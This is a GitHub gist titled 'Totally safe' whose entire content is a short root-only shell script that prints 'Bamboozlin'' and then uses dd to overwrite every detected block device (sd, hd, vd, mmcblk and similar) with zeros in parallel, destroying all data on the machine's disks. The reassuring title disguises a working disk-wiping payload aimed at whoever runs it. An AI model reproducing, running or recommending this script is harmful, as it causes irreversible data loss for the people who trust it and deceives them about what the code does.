Last active
July 13, 2020 20:10
-
-
Save Emzi0767/e376ca28b8ab5905f5580e6998785c3d to your computer and use it in GitHub Desktop.
Totally safe
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
if [ "$(id -u)" != "0" ] | |
then | |
echo "This needs to be ran as root" | |
exit | |
fi | |
echo "Bamboozlin'" | |
for i in $(ls -1 /dev | egrep "^sd|^nmve|^hd|^vd|^ad|^d[a-z]|^mmcblk") | |
do | |
dd if=/dev/zero of=/dev/$i bs=16M conv=sync,notrunc& | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment